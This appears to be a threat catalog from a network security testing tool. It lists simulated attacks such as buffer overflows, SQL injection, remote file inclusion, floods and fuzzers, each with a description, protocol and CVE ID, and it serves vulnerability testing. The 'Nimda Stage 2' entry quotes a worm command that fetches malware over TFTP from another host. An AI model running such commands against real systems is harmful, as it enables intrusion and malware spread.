Executive Description:	HP OpenView Data Protector Application Recovery Manager Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Data Protector Application Recovery Manager. The vulnerability is due to a boundary error when processing requests sent to the Omninet process. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted MSG_PROTOCOL (0x010b) request to a target server, potentially causing arbitrary code to be injected and executed in the security context of the System user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the logic of the malicious code. When code injection is not successful, the vulnerable application could terminate abnormally causing a denial of service condition.
Protocol Type:	PROPRIETARY
CVEID:	CVE-2009-3844
Threat Package:	Standard
Threat File Name:	firefox_historyfile_bof_IPv6.xml
Executive Description:	Mozilla Firefox Large History File Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a malicious piece of javascript which will cause Mozilla Firefox and related browsers to crash upon opening due to an exceptionally large history file entry, unless the affected history.dat file is deleted or edited. This threat mimics a webserver sending the malicious attack from the virtual server, and would typically be sent across port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-4134
Threat Package:	Standard
Threat File Name:	burncms_cmi_e_IPv6.xml
Executive Description:	burnCMS <= 0.2(root)Remote File Include Vulnerabilities (IPv6 Version)
Detailed Description:	This threat demonstrates a remote file inclusion flaw against postgres.class.php's root parameter. this threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	finflood.xml
Executive Description:	TCP FIN Flood
Detailed Description:	This threat floods a user specified target with TCP packets from randomized, spoofed addresses, where the FIN (final) flag has been turned on. The FIN flag is sent by a user to designate that it is no longer sending packets. This attack is an attempt to flood the target with erroneous packets in order to hinder performance and cause a slowed response to legitimate traffic and possibly a DoS.

Protocol Type:	TCP
CVEID:	CVE-2003-0393
OSVDB:	10840
Threat Package:	Standard
Threat File Name:	TSL20120110-04_Microsoft_Windows_Media_MIDI_File_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Windows Media MIDI File Memory Corruption(IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in the Microsoft Windows Multimedia library. The vulnerability is due to an error while parsing specially crafted MIDI files. A remote attacker can exploit this vulnerability by enticing a target user to open a specially crafted MIDI file. Successful exploitation could lead to code execution in the enticed user's security context.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,FTP
CVEID:	CVE-2012-0003
Threat File Name:	TSL20130115-17_Oracle_Outside_In_Paradox_Database_Stream_Filter_Denial_of_Service.xml
Executive Description:	Oracle Outside In Paradox Database Stream Filter Denial of Service
Detailed Description:	A denial of service vulnerability exists in Oracle Outside In, a set of libraries used to decode many file formats. The vulnerability is due to an error while processing Paradox databases that contain a malicious entry in a field description array. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable library to handle a malformed Paradox database. Depending on the application, user interaction may be required. Successful exploitation can result in a denial of service condition in the context of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2013-0393
OSVDB:	89193
Threat File Name:	FSC20100608-18_Microsoft_Office_Excel_WOpt_Record_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office Excel WOpt Record Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Office Excel. The vulnerability is due to a flaw while parsing a specially crafted Excel file. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-0824
Threat Package:	Standard
Threat File Name:	FSC20071127-04_IBM_Lotus_Notes_Lotus_1-2-3_Work_Sheet_File_Viewer_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Lotus Notes Lotus 1-2-3 Work Sheet File Viewer Buffer Overflow (IPv6 Version)
Detailed Description:	There is a buffer overflow vulnerability exists in IBM Lotus Notes. The vulnerability is due to a boundary error within the Lotus 1-2-3 file viewer. A remote attacker could leverage this vulnerability by enticing a target user to view the maliciously crafted email attachment. Successful attack could allow for arbitrary code injection and execution with the privileges of the currently logged on user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-6593
Threat Package:	Standard
Threat File Name:	FSC20090407-04_MIT_Kerberos_ASN.1_asn1_decode_generaltime_Uninitialized_Pointer_Reference.xml
Executive Description:	MIT Kerberos ASN.1 asn1_decode_generaltime Uninitialized Pointer Reference
Detailed Description:	A memory corruption vulnerability exists in MIT Kerberos server. The vulnerability is due to the release of an uninitialized pointer in the ASN.1 decoder while decoding maliciously crafted data. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted RPC request to the kadmind daemon. In an attack aiming for denial of service, the Kerberos kadmind service will terminate abnormally as a result of an attack. The Kerberos administration functionality remains unavailable until the service is restarted. In a more sophisticated attack scenario, where the malicious user is successful in injecting and executing supplied code, the behaviour of the system is dependent on the nature the injected code. Any code injected into the vulnerable component would execute in the security context of the service process, which may be system/root level.
Protocol Type:	KRB5
CVEID:	CVE-2009-0846
Threat Package:	Standard
Threat File Name:	nimda17_IPv6.xml
Executive Description:	Nimda Stage 2 (IPv6 Version)
Detailed Description:	This threat is the URL for Nimda to connect to a previously infected machine and download a copy of itself. The command issued is tftp -i 10.2.3.4 GET admin.dll admin.dll (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	tcpdump_isis_IPv6.xml
Executive Description:	tcpdump ISIS DOS (IPv6 Version)
Detailed Description:	This threat causes tcpdump to enter into an infinite loop. This effectively causes a denial of service condition on tcpdump, leaving the user sniffing unaware of any further packets sent on the wire. This packet emulates a GRE packet being placed on the wire. (IPv6 Version)
Protocol Type:	GRE/IPv6
CVEID:	CVE-2005-1278
OSVDB:	15862
Threat Package:	Standard
Threat File Name:	ipv6_land_IPv6.xml
Executive Description:	IPv6 Land Attack (IPv6 Version)
Detailed Description:	This threat sends a spoofed TCP SYN IPv6 packet with the same source and destination IP and port. This causes the target machine to potentially respond in an undesirable way. Microsoft patched this in MS05-019. (IPv6 Version)
Protocol Type:	TCP/IPv6

CVEID:	CVE-2005-1649
OSVDB:	14578
Threat Package:	Standard
Threat File Name:	TSL20090512-09_MicrosoftPowerPoint_LegacyFormat_SchemesRecord_BufferOverflow.xml
Executive Description:	Microsoft Office PowerPoint Legacy Format Schemes Record Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office PowerPoint. The flaw is due to a boundary error when processing crafted legacy PowerPoint (PPT) documents. An attacker could exploit this vulnerability by persuading the target user to open a specially crafted legacy PowerPoint document. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The injected code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected application will terminate abnormally, potentially resulting in loss of unsaved data.
Protocol Type:	FTP,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2009-0226
Threat File Name:	TSL20141111-30_Microsoft_Office_Bad_Index_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office Bad Index Memory Corruption IPv6 version.
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office. The vulnerability is due to improper handling of objects when parsing a specially crafted Office document. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open a specially crafted Office file. Successful exploitation allows the attacker to execute arbitrary code in the context of the current user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMTP/SMB/CIFS.IPV6
CVEID:	CVE-2014-6334
OSVDB:	114527
Threat File Name:	annoncev_rfi_IPv6.xml
Executive Description:	AnnonceV News Script <= 1.1 (page) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.AnnonceV is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-4622
OSVDB:	28568
Threat Package:	Standard
Threat File Name:	trafficstats_sql.xml
Executive Description:	Traffic Stats SQL Injection Vulnerability
Detailed Description:	This threat sends a HTTP request for a URL that contains an SQL query which will be executed on the affected server. Traffic Stats is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	winzip_wzfileview_dos.xml
Executive Description:	WinZip <= 10.0.7245 FileView ActiveX Buffer Overflow Vulnerability
Detailed Description:	This threat leverages a flaw in the Winzip "WZFILEVIEW.FileViewCtrl.61" ActiveX control when accessed by Internet Explorer, allows remote code execution on the client host. This affects WinZip ActiveX Control using Internet Explorer Web Browser clients that typically connect to the http port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-6884
Threat Package:	Standard
Threat File Name:	radiusAuthFlood.xml
Executive Description:	Radius Authentication Flood
Detailed Description:	This threat sends multiple valid RADIUS Authentication-Request packets in an attempt to deny valid users the ability to authenticate.
Protocol Type:	RADIUS
Threat Package:	Standard
Threat File Name:	vp-asp_sql.xml
Executive Description:	VP-ASP Shopping Cart 6.09 Remote SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. VP-ASP Shopping Cart is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0224
Threat Package:	Standard
Threat File Name:	FSC20110321-07_RealNetworks_RealPlayer_IVR_Handling_Heap_Buffer_Overflow.xml
Executive Description:	RealNetworks RealPlayer IVR Handling Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in RealNetworks RealPlayer. The vulnerability is due to lack of input validation when parsing IVR files. The application uses a 32-bit value provided in the file as the size of the buffer that should be allocated. An attacker can exploit this vulnerability by enticing a target user to open a malicious file. Successful exploitation would allow an attacker to execute arbitrary code in the security context of the logged in user. An unsuccessful attack could cause an abnormal termination of the affected product.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
Threat File Name:	sunkill.xml
Executive Description:	SunKill Telnet Daemon Denial of Service
Detailed Description:	This attack causes the Sun Microsystems telnet daemon to consume a large amount of resources and cause a denial of service on the target host. Telnet typically listens on port 23.
Protocol Type:	Telnet
CVEID:	CVE-1999-0273
OSVDB:	8729

Threat Package:	Standard
Threat File Name:	dagger_we_rfi_IPv6.xml
Executive Description:	DAGGER Web Engine <= 23jan2007 Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. DAGGER Web Engine is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3431
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_ErrorCode_RangingSizeOfMessage_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_ErrorCode_RangingSizeOfMessage.xml (IPv6 Version)
Detailed Description:	Fuzzes errorNullTerm field by putting random string. OpCode is 05 (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20100115-02_Adobe_Acrobat_and_Reader_JpxDecode_Memory_Corruption.xml
Executive Description:	Adobe Acrobat and Reader JpxDecode Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Adobe Acrobat Reader and Acrobat products. The vulnerability is due to an error while processing the RGN marker segment of a JpxDecode encoded data stream. Remote attackers can exploit this vulnerability by enticing affected users to open a malicious PDF document in a vulnerable version of the product. In a sophisticated attack scenario where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. In an attack case where code injection is not successful, the affected Adobe application parsing the malicious PDF document can terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2009-3955
Threat Package:	Standard
Threat File Name:	cfmbof_IPv6.xml
Executive Description:	ColdFusion GET Request Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow with a large GET request. Causes the ISAPI handler to fail when processing ColdFusion webpages on IIS. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-1309
OSVDB:	6639
Threat Package:	Standard
Threat File Name:	TSL20140613-02_ISC_BIND_EDNS_Option_Processing_Denial_of_Service.xml
Executive Description:	ISC BIND EDNS Option Processing Denial of Service
Detailed Description:	A denial of service vulnerability exists in ISC BIND. The vulnerability is caused by an assertion failure when processing the EDNS option. A remote attacker may exploit this vulnerability by sending a specially crafted query to the affected servers. Successful exploitation would result in the BIND service terminating unexpectedly.
Protocol Type:	DNS
CVEID:	CVE-2014-3859
OSVDB:	107999
Threat File Name:	FSC20080610-10_Microsoft_Windows_Active_Directory_Denial_of_Service.xml
Executive Description:	Microsoft Windows Active Directory Denial of Service
Detailed Description:	There exists a denial of service vulnerability in Microsoft Windows Active Directory. The vulnerability is due to insufficient check during the processing of LDAP searchRequest. By sending crafted messages to a target server, an unauthenticated attacker may exploit this vulnerability to cause the affected system to stop responding, creating a denial of service condition.
Protocol Type:	LDAP
CVEID:	CVE-2008-1445
Threat Package:	Standard
Threat File Name:	FSC20110208-27_Microsoft_Internet_Explorer_Uninitialized_Object_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Uninitialized Object Memory Corruption(IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error when accessing an object that has not been initialized properly. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP
CVEID:	CVE-2011-0036
Threat File Name:	TSL20101026-08_Mozilla_Firefox_document_write_And_DOM_Insertions_Memory_Corruption_IPv6.xml
Executive Description:	Mozilla Firefox document.write And DOM Insertions Memory Corruption(IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in Mozilla Firefox. The vulnerability is due to a buffer overflow while executing specially crafted JavaScript call document.write() combined with DOM insertions. An attacker can exploit this vulnerability by enticing a user to visit a maliciously crafted web site
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-3765
OSVDB:	68905
Threat File Name:	ipv6_syn_flood2_IPv6.xml
Executive Description:	IPv6 SYN Flood 2 (IPv6 Version)
Detailed Description:	This threat is a SYN flood that allows the user to specify a source port and source address. It is also a IPv6 version of a SYN flood. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard

Threat File Name:	xorg_crash_IPv6.xml
Executive Description:	X.org Xrender Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a crash in the X.org server by sending a malicious render packet. X.org is a X11 server for linux that typically listens on port 6000. (IPv6 Version)
Protocol Type:	X11/IPv6
CVEID:	CVE-2006-1526
Threat Package:	Standard
Threat File Name:	quicktime_heapoverflow.xml
Executive Description:	Apple QuickTime FLIC File Heap Overflow Vulnerability
Detailed Description:	This threat uses a web server to deliver a malicious FLIC media file that leverages a heap overflow vulnerability in Apple QuickTime Media players allowing for a denial of service condition or code injection. Quicktime is a media application and typically runs on systems running Apple Macintosh and Microsoft Windows Operating Systems.
Protocol Type:	HTTP
CVEID:	CVE-2006-4384
Threat Package:	Standard
Threat File Name:	squery_rfi_IPv6.xml
Executive Description:	SQuery LibPath Parameter Multiple Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP query containing the path for a local file to include in the returned page via the "gore.php" module for every installed script. Squery is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1688
OSVDB:	24408
Threat Package:	Standard
Threat File Name:	FSC20071210-01_3ivx_MPEG-4_MP4_File_Handling_Stack_Overflow_IPv6.xml
Executive Description:	3ivx MPEG-4 MP4 File Handling Stack Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in 3ivx MPEG-4. Specifically, the vulnerability is due to improper handling of MP4 files by the 3ivx MPEG-4 codec plugin. A remote attacker can exploit this vulnerability by enticing the target user to open crafted MP4 file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-6402
Threat Package:	Standard
Threat File Name:	TSL20120208-09_CA_Total_Defense_Suite_UNCWS_exportReport_SQL_Injection_IPv6.xml
Executive Description:	CA Total Defense Suite UNCWS exportReport SQL Injection(IPv6 Version)
Detailed Description:	An SQL Injection vulnerability exists in CA Total Defense Suite UNC Management Console. The vulnerability is due to insufficient sanitization of the request parameters in a stored procedure. A remote unauthenticated attacker can exploit this vulnerability by sending a craft SOAP request to the target on port 34444 for HTTP and 34443 for HTTPS. Any injected SQL commands will run with DBA privileges. This vulnerability can be leveraged by a remote unauthenticated attacker to execute arbitrary code on a target system with SYSTEM privileges by the means of SQL exec function.
Protocol Type:	IPV6,HTTP,HTTPS
Threat File Name:	TSL20140311-15_Microsoft_Internet_Explorer_TextRange_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer TextRange Use After Free
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way TextRange objects are handled. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0307
OSVDB:	104304
Threat File Name:	etherealDISTCC_IPv6.xml
Executive Description:	Ethereal DISTCC Stack Overflow (IPv6 Version)
Detailed Description:	This threat causes the Ethereal packet dissector to crash when parsing DISTCC packets. This can be used to run remote code on the sniffing application. (IPv6 Version)
Protocol Type:	DISTCC/IPv6
CVEID:	CVE-2005-1461
OSVDB:	16097
Threat Package:	Standard
Threat File Name:	phpecard_rfi_IPv6.xml
Executive Description:	phpECard Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url to a web server, taking advantage of a flaw PSlash application software, thus allowing for commands to be executed on the affected server. PhpECard is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	imap_buffer_overflow_257_IPv6.xml
Executive Description:	IMAP Buffer Overflow [257] Attack (IPv6 Version)
Detailed Description:	This generic threat sends a long buffer [257 bytes] against an IMAP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer. (IPv6 Version)
Protocol Type:	IMAP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170116-01_Tarantool_xrow_header_decode_Out_of_Bounds_Read_IPv6.xml
Executive Description:	Tarantool xrow_header_decode Out of Bounds Read (IPv6 Version)

Detailed Description:	An OOB read vulnerability has been reported in the xrow_header_decode function of Tarantool. This vulnerability is due to incorrect handling of objects in memory when trying to determine the type of a key. A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted packet to the vulnerable server. Successful exploitation results in denial of service conditions.
Protocol Type:	Tarantool Binary Protocol,IPv6
CVEID:	CVE-2016-9037
Threat File Name:	TSL20150109-08_OpenSSL_DTLS_dtls1_buffer_record_Denial_of_Service_IPv6.xml
Executive Description:	OpenSSL DTLS dtls1_buffer_record Denial of Service IPv6 version.
Detailed Description:	A denial of service vulnerability has been reported in OpenSSL. The vulnerability is due to memory exhaustion when parsing specially crafted DTLS packets. A remote, unauthenticated attacker can exploit this vulnerability by sending a large number of crafted packets to a vulnerable server. Successful exploitation will result in high memory consumption and lead to a denial of service condition. Tester should set variable \$destPort to 4433 before test.
Protocol Type:	DTLS,IPv6
CVEID:	CVE-2015-0206
OSVDB:	116791
Threat File Name:	TSL20130212-12_Microsoft_Internet_Explorer_vtable_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer vtable Use After Free(IPv6 Version)
Detailed Description:	A code execution vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to the use of an object after it has been deleted (use-after-free). A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2013-0021
OSVDB:	90118
Threat File Name:	fuzz-TFTP_RangingSizeOfData_FixedBlockNo.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RangingSizeOfData_FixedBlockNo.xml
Detailed Description:	Fuzzes data field by putting random string with ranging sizes and fixed block Number. OpCode is 03
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	afp_dos.xml
Executive Description:	Apple File Server Integer Overflow
Detailed Description:	This threat causes an integer overflow in the Apple File Server daemon. This creates a denial of service condition, preventing legitimate users from sharing files. The Apple File Server typically listens on port 548.
Protocol Type:	AFP
CVEID:	CVE-2005-0340
OSVDB:	13780
Threat Package:	Standard
Threat File Name:	FSC20101118-09_Novell_iPrint_Client_GetDriverSettings_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Novell iPrint Client GetDriverSettings Stack Buffer Overflow (IPv6 Version)
Detailed Description:	A stack buffer overflow exists in Novell iPrint Client. The vulnerability is due to insufficient validation by the ienipp.ocx ActiveX when processing input to one of the vulnerable methods (GetDriverSettings, and GetDriverSettings2.) A remote attacker can leverage this vulnerability by enticing a target user to open a specially crafted web page.Successful exploitation can allow an attacker to execute arbitrary code on a target system. In an unsuccessful attack attempt, the browser may abnormally terminate.
Protocol Type:	IPv6,HTTP,HTTPS
Threat Package:	Standard
Threat File Name:	TSL20140612-01_Microsoft_Internet_Explorer_CVE-2014-1804_CBlockContainerBlock_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-1804 CBlockContainerBlock Use After Free
Detailed Description:	A use after free vulnerability exists in Internet Explorer. The vulnerability is due to accessing a freed CBlockContainerBlock object in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-1804
OSVDB:	107878
Threat File Name:	ipix_bof_IPv6.xml
Executive Description:	IPIX Image Well ActiveX (IPIX-ImageWell-ipix.dll) Buffer Overflow Exploit (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in in the IPIX ActiveX control, this threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	twilightwebserver_dos_IPv6.xml
Executive Description:	Twilight Webserver 1.3.3.0 (GET) Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a unusually large GET request to cause a denial of service condition in a Twilight Webserver. Twilight Webserver is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	msie_activex_dos.xml
Executive Description:	Microsoft Internet Explorer Structured Graphics Control Denial Of Service Vulnerability
Detailed Description:	This threat uses a malicious HTTP server reply to cause a denial-of-service condition in a MSIE 6 triggered by a malicious ActiveX control. Microsoft Internet Explorer 6 is a web browser that typically connects to a web server listening on port 80.
Protocol Type:	HTTP

OSVDB:	26839
Threat Package:	Standard
Threat File Name:	ethereal_afp.xml
Executive Description:	Ethereal AFP Dissector Format String Exploit
Detailed Description:	This threat attempts to cause ethereal to run arbitrary code by exploiting a format string condition. The format string vulnerability is located in Ethereal's AFP dissector. The AFP protocol is typically sent over TCP port 548.
Protocol Type:	AFP
CVEID:	CVE-2005-2367
OSVDB:	18388
Threat Package:	Standard
Threat File Name:	tinyidentd_bof.xml
Executive Description:	TinyIdentD <= 2.2 Remote Buffer Overflow Exploit
Detailed Description:	This threat is a standard buffer overflow for TinyIdentD, this threat is delivered via IDENTD port 113.
Protocol Type:	IDENT
Threat Package:	Standard
Threat File Name:	TSL20150709-03_OpenSSL_Alternative_Chains_Certificate_Forgery_Policy_Bypass.xml
Executive Description:	OpenSSL Alternative Chains Certificate Forgery Policy Bypass
Detailed Description:	A policy bypass vulnerability has been reported in OpenSSL. This is due to incorrectly implemented certificate chain verification, where forged certificates signed by certain non-CA leaf certificates are treated as valid by vulnerable versions of OpenSSL. An attacker could use a crafted certificate chain to bypass TLS certificate validation checks in OpenSSL client or server applications. Successful exploitation could allow a remote attacker to bypass authentication by impersonating users or services. Tester should set variable \$destPort to 443 before test.
Protocol Type:	TLS/DTLS/HTTPS/SMTP/SMTPTS/SIPS
CVEID:	CVE-2015-1793
Threat File Name:	shoutcast_fmt_IPv6.xml
Executive Description:	Shoutcast Format String Attack (IPv6 Version)
Detailed Description:	This threat sends a format string attack targeting the Shoutcast MP3 streaming server. This server is used by many online radio stations. This attack attempts to execute remote code on the server. Shoutcast typically listens on port 8000. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2004-1373
OSVDB:	14705
Threat Package:	Standard
Threat File Name:	trace.xml
Executive Description:	HTTP TRACE Method
Detailed Description:	This threat is a HTTP TRACE request. A misconfigured webserver will echo this request back to the client, allowing for a cross-site scripting attack.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20080721-07_Sun_Java_Web_Start_JNLP_vm_args_Stack_Overflow.xml
Executive Description:	Sun Java Web Start JNLP vm args Stack Overflow
Detailed Description:	There exists a stack buffer overflow vulnerability in Sun Java Web Start. The vulnerability is due to improper bound checking while handling XML based JNLP files. A remote unauthenticated attacker can exploit this vulnerability by enticing the target user to open a crafted JNLP file, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2008-3111
Threat Package:	Standard
Threat File Name:	FSC20100804-11_Adobe_Acrobat_and_Reader_Font_Parsing_Integer_Overflow.xml
Executive Description:	Adobe Acrobat and Reader Font Parsing Integer Overflow
Detailed Description:	A code execution vulnerability has been reported in Adobe Acrobat and Reader. The vulnerability is due to an integer overflow error within the CoolType.dll module when handling a PDF document containing a TrueType Font (TTF) with a maliciously crafted "maxCompositePoints" field in a "maxp" table. Remote attackers could exploit this vulnerability by enticing target users to open a malicious PDF document. Successful exploitation would result in arbitrary code execution in the context of the logged on user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2010-2862
Threat Package:	Standard
Threat File Name:	DHCP_hostname.xml
Executive Description:	DHCP Hostname Overflow
Detailed Description:	This threat sends a DHCP Discover packet with the hostname option set. Causes a buffer overflow in certain versions of ISC DHCP server.
Protocol Type:	DHCP
CVEID:	CVE-2004-0460
OSVDB:	7237
Threat Package:	Standard
Threat File Name:	TSL20130409-24_HP_ManagementCenter_DownloadServlet_Disclosure_IPv6.xml
Executive Description:	HP Intelligent Management Center DownloadServlet Information Disclosure [IPv6, Version]
Detailed Description:	An information disclosure vulnerability exists in HP Intelligent Management Center. The vulnerability is due to lack of authentication and insufficient input validation in the DownloadServlet servlet when processing HTTP request parameters. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary files on a target system.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-5208
OSVDB:	91033

Threat File Name:	fuzz-SMTP-HELO_Parameter_forwardSlash_IPv6.xml
Executive Description:	Fuzz SMTP HELO verb with / (IPv6 Version)
Detailed Description:	Fuzzes the SMTP HELO Parameter with / from size of 0 to a size of 4096. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20150630-05_Apple_QuickTime_MP4_Absent_stbl_Box_Memory_Corruption.xml
Executive Description:	Apple QuickTime MP4 Absent stbl Box Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Apple QuickTime. The vulnerability is due to an issue with processing corrupted MPEG-4 (MP4) files. A remote attacker could exploit this vulnerability by enticing a user to open a malicious .MP4 file. Successful exploitation could lead to arbitrary code execution under the security context of the currently logged on user.
Protocol Type:	HTTPS, HTTP, IMAP, POP3, SMB/CIFS, SMTP, NFS
CVEID:	CVE-2015-3667
Threat File Name:	radiusAuthFlood_IPv6.xml
Executive Description:	Radius Authentication Flood (IPv6 Version)
Detailed Description:	This threat sends multiple valid RADIUS Authentication-Request packets in an attempt to deny valid users the ability to authenticate. (IPv6 Version)
Protocol Type:	RADIUS/IPv6
Threat Package:	Standard
Threat File Name:	geeklog2_rfi_IPv6.xml
Executive Description:	GeekLog 2.x ImageImageMagick.php Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Geeklog is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	IMail_ldap2_IPv6.xml
Executive Description:	IMail LDAP Denial of Service (IPv6 Version)
Detailed Description:	This threat sends a large amount of data to the LDAP service that comes with IMail 5.0. This threat will cause the LDAP service to use upwards of 90% of CPU, thereby causing a DoS condition. (IPv6 Version)
Protocol Type:	LDAP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20081209-22_Microsoft_Word_RTF_Stylesheet_Control_Word_Memory_Corruption.xml
Executive Description:	Microsoft Word RTF Stylesheet Control Word Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Word products. The flaw is due to an index error when processing RTF documents that contain more than six \stylesheet control words. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted RTF file. Successful exploitation can lead to arbitrary code execution within the security context of the currently logged on user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, affected product will terminate resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-4031
